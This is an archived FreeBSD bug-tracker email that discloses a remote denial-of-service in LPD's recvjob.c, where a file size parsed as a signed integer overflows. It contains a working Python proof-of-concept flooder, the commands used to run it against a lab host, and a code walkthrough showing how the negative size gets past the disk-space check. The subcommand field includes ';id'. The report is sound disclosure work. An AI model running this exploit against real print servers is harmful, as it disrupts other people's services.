Skip site navigation (1)Skip section navigation (2)
Date:      Wed, 18 Feb 2026 23:19:39 +0000
From:      bugzilla-noreply@freebsd.org
To:        bugs@FreeBSD.org
Subject:   [Bug 293278] LPD Remote 100% CPU Usage - DoS via Integer Overflow in recvjob.c File Size Parsing
Message-ID:  <bug-293278-227@https.bugs.freebsd.org/bugzilla/>

index | next in thread | raw e-mail

https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=293278

            Bug ID: 293278
           Summary: LPD Remote 100% CPU Usage - DoS via Integer Overflow
                    in recvjob.c File Size Parsing
           Product: Base System
           Version: 14.3-RELEASE
          Hardware: amd64
                OS: Any
            Status: New
          Severity: Affects Many People
          Priority: ---
         Component: bin
          Assignee: bugs@FreeBSD.org
          Reporter: igor@bsdtrust.com

Created attachment 268179
  --> https://bugs.freebsd.org/bugzilla/attachment.cgi?id=268179&action=edit
CPU Usage after PoC poc3.py

The Line Printer Daemon (LPD) implementation in FreeBSD, as seen in the
recvjob.c source code, is vulnerable to a denial-of-service (DoS) attack via
integer overflow during the parsing of file sizes in data transfer subcommands.
This vulnerability allows an attacker to bypass disk space checks and force the
LPD server to attempt processing an effectively unlimited amount of data,
resulting in high CPU usage (up to 100%), potential disk space exhaustion, and
eventual process termination due to write errors. The proof-of-concept (POC)
script poc3.py demonstrates this by claiming a file size that triggers
overflow, followed by sending continuous data resulting in high CPU usage (up
to 100%).
This issue stems from inadequate handling of large integers in the size parsing
logic, combined with the protocol's lack of explicit upper bounds on file sizes
(as defined in RFC 1179). The attack can be executed remotely over TCP port 515
(default LPD port) and requires no authentication beyond binding to a reserved
local port (721-1023) (The domain of attakcer needs to be on /etc/hosts.lpd) .


poc777.py:

import socket
import sys

def flood_lpd(host, server_port=515, queue_name='lp', local_port=721,
chunk_size=1024):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('', local_port))
    s.connect((host, server_port))

    # Send command 02
    s.sendall(b'\x02' + queue_name.encode('ascii') + b'\n')
    if s.recv(1) != b'\x00':
        sys.exit(1)

    # Send subcommand with size
    size = 2147483648 #integer overflow
    subcmd = b'\x03' + str(size).encode('ascii') + b' junkdata;id\n'
    s.sendall(subcmd)

    # Flood with junk
    junk = b'\x00' * chunk_size
    while True:
        s.sendall(junk)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: sudo python script.py <host> [local_port]")
        sys.exit(1)

    host = sys.argv[1]
    local_port = int(sys.argv[2]) if len(sys.argv) > 2 else 721
    flood_lpd(host, local_port=local_port)


running more than 3x is possible get the 100% CPU usage
sudo python3 poc777.py 192.168.202.136 805
sudo python3 poc777.py 192.168.202.136 905
sudo python3 poc777.py 192.168.202.136 810
sudo python3 poc777.py 192.168.202.136 723




1 - Where does the overflow happen? (In the parsing of the size)

https://github.com/freebsd/freebsd-src/blob/main/usr.sbin/lpr/lpd/recvjob.c

/usr.sbin/lpr/lpd/recvjob.c

In the readjob() code (function that reads commands from the client):

size = 0;
while (*cp >= '0' && *cp <= '9')
size = size * 10 + (*cp++ - '0');

size is declared as int (in FreeBSD 64-bit, int is 32-bit, with limit INT_MAX =
2147483647).

In the POC, you send \x032147483648 junkdata;id\n (size = 2147483648, which is
2^31).

During the parsing loop:
Starts with size=0.

Multiplies by 10 and adds digit by digit: when it reaches "21474836", it has
already exceeded 2147483647 (INT_MAX).
Simple example: "214748364" is already 214748364 (ok), but "2147483648" does
*10 +8, which overflows.

Result: signed overflow → size becomes negative (typically -2147483648, which
is INT_MIN).

Why doesn't it crash here? Overflow in int is not automatically checked in C
(unlike languages like Java). 
It's undefined behavior, but in practice, the CPU just wraps around and
continues running.

int x = 2147483647; x = x * 10 + 8;, it doesn't crash, it just becomes negative
or garbage.


2 - Bypass of the disk check (chksize)

After parsing, it calls 

if (!chksize(size)) { ... reject }.

In chksize(int _size):

size = (_size + 511) / 512; // converts bytes to 512 blocks
if (minfree + size > spacefree)
return(0); // not ok, lacks space

-> With _size negative (-2147483648), (_size + 511) / 512 becomes a huge
negative number (like -4194304 blocks).

minfree + size (size negative) becomes less than minfree, so almost always
minfree + size <= spacefree (available space), returning 1 (OK).

Key vulnerability here: The function assumes size is positive, but with
negative overflow, it bypasses the resource check.

Result: Server accepts the "giant file" (ACK with \x00), even without real
space for 2GB+.


3 - The infinite loop that consumes CPU (readfile)

Now it goes to readfile(..., size_t _size), where _size = (size_t)size.

size is negative int → cast to size_t (unsigned, 64-bit in FreeBSD) becomes a
HUGE positive number (like 18446744071562067968, which is 2^64 - 2^31).

The main loop:

for (i = 0; i < size; i += SPL_BUFSIZ) { // SPL_BUFSIZ = BUFSIZ (typically
8192)
// reads chunk from socket
do {
j = read(STDOUT_FILENO, cp, amt);
// ... checks errors
} while (amt > 0);
// writes chunk to spool file
if (write(fd, buf, amt) != (ssize_t)amt) {
err++;
break;
}
}

With huge size (almost infinite), the loop runs "forever" (until i overflows or
something goes wrong).

Each iteration:
read() from socket (POC sends infinite junk, so it doesn't block).
Copies data in memory (buf).
write() to file (goes to kernel cache, but syscall overhead).

Syscalls (read/write) + memory copies in small chunks (8192 bytes) create a
tight loop that uses full CPU.


I would like request a CVE for this overflow.


Credits:
Author: Igor Gabriel Sousa e Souza
Email: igor@bsdtrust.com
LinkedIn: https://www.linkedin.com/in/igo0r

-- 
You are receiving this mail because:
You are the assignee for the bug.

home | help

Want to link to this message? Use this
URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?bug-293278-227>